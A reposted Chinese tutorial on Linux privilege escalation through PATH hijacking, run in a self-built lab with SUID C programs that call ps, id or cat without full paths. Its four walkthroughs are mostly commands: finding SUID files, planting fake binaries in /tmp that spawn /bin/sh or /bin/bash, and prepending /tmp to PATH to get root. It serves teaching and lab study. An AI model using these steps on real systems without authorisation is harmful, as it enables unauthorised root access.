1. 程式人生 > 其它 >linux在環境變數中提權

linux在環境變數中提權

1.介紹

PATH是Linux和類Unix作業系統中的環境變數,它指定儲存可執行程式的所有bin和sbin目錄。當用戶在終端上執行任何命令時,它會通過PATH變數來響應使用者執行的命令,並向shell傳送請求以搜尋可執行檔案。超級使用者通常還具有/sbin和/usr/sbin條目,以便於系統管理命令的執行。

使用echo命令顯示當前PATH環境變數:
echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH變數中看到‘.’,則意味著登入使用者可以從當前目錄執行二進位制檔案/指令碼,這對於攻擊者而言也是一個提權的絕好機會。這裡之所以沒有指定程式的完整路徑,往往是因為編寫程式時的疏忽造成的。

2.提權1

當前,我們位於/home/raj目錄,我們將在其中建立一個名為/script的新目錄。在script目錄下,我們將編寫一個小型的c程式來呼叫系統二進位制檔案的函式。

pwd
mkdir script
cd /script
nano demo.c


正如你在demo.c檔案中看到的,我們正在呼叫ps命令。

然後使用gcc編譯demo.c檔案,並提升編譯檔案的SUID許可權。

ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell

受害者VM機器

假設我們已經成功滲透目標,並進入提權階段。我們通過ssh成功登入到了受害者的機器。然後使用Find命令,搜尋具有SUID或4000許可權的檔案。

find / -perm -u=s -type f 2>/dev/null


進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“shell”檔案,我們執行這個檔案。

Echo命令

cd /tmp
echo “/bin/sh” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami

Copy命令

cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami

Symlink命令

ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami

注意:符號連結也叫軟連結,如果目錄具有完全許可權,則它將成功執行。在Ubuntu中symlink情況下,我們已經賦予了/script目錄777的許可權。

因此,攻擊者可以操縱環境變數PATH來進行提權,並獲得root訪問許可權。

3.提權2

重複上述步驟配置你的實驗環境,現在在指令碼目錄中,我們將編寫一個小型的c程式來呼叫系統二進位制檔案的函式。

pwd
mkdir script
cd /script
nano demo.c

正如你在demo.c檔案中看到的,我們正在呼叫id命令。

然後使用gcc編譯demo.c檔案,並提升編譯檔案的SUID許可權。

ls
gcc demo.c -o shell2
chmod u+s shell2
ls -la shell2

受害者VM機器

同樣,假設我們已經成功滲透目標,並進入提權階段。我們通過ssh成功登入到了受害者的機器。然後使用Find命令,搜尋具有SUID或4000許可權的檔案。在這裡,我們可以看到/home/raj/script/shell2具有SUID許可權。

find / -perm -u=s -type f 2>/dev/null

進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“shell2”檔案,我們執行這個檔案。

cd /home/raj/script
ls
./shell2

Echo命令

cd /tmp
echo “/bin/sh” > id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell2
whoami

4.提權3

重複上述步驟配置你的實驗環境。正如你在demo.c檔案中看到的,我們正在呼叫cat命令從etc/passwd檔案中讀取內容。

然後使用gcc編譯demo.c檔案,並提升編譯檔案的SUID許可權。

ls
gcc demo.c -o raj
chmod u+s raj
ls -la raj

受害者VM機器

同樣,假設我們已經成功滲透目標,並進入提權階段,通過執行以下命令檢視sudo使用者列表。

find / -perm -u=s -type f 2>/dev/null

在這裡,我們可以看到/home/raj/script/raj具有SUID許可權,進入到home/raj/script/目錄,可以看到該目錄下有一個可執行的“raj”檔案。所以當我們執行這個檔案時,它會把etc/passwd檔案作為輸出結果。

cd /home/raj/script/
ls
./raj

Nano編輯器

cd /tmp
nano cat

現在,當終端開啟時輸入/bin/bash並儲存。

chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami

5.提權4

重複上述步驟配置你的實驗環境。正如你在demo.c檔案中看到的,我們正在呼叫cat命令讀取/home/raj中的msg.txt中的內容,但/home/raj中並沒有這樣的檔案。

然後使用gcc編譯demo.c檔案,並提升編譯檔案的SUID許可權。

ls
gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite

受害者VM機器

同樣,假設我們已經成功滲透目標,並進入提權階段,通過執行以下命令檢視sudo使用者列表

find / -perm -u=s -type f 2>/dev/null

在這裡,我們可以看到/home/raj/script/ignite具有SUID許可權,進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“ignite”檔案。所以當我們執行這個檔案時,它會報錯“cat: /home/raj/msg.txt”檔案或目錄不存在。

cd /home/raj/script
ls
./ignite

Vi編輯器

cd /tmp
vi cat

現在,當終端開啟時輸入/bin/bash並儲存。

chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami

原文連結:https://www.freebuf.com/articles/system/173903.html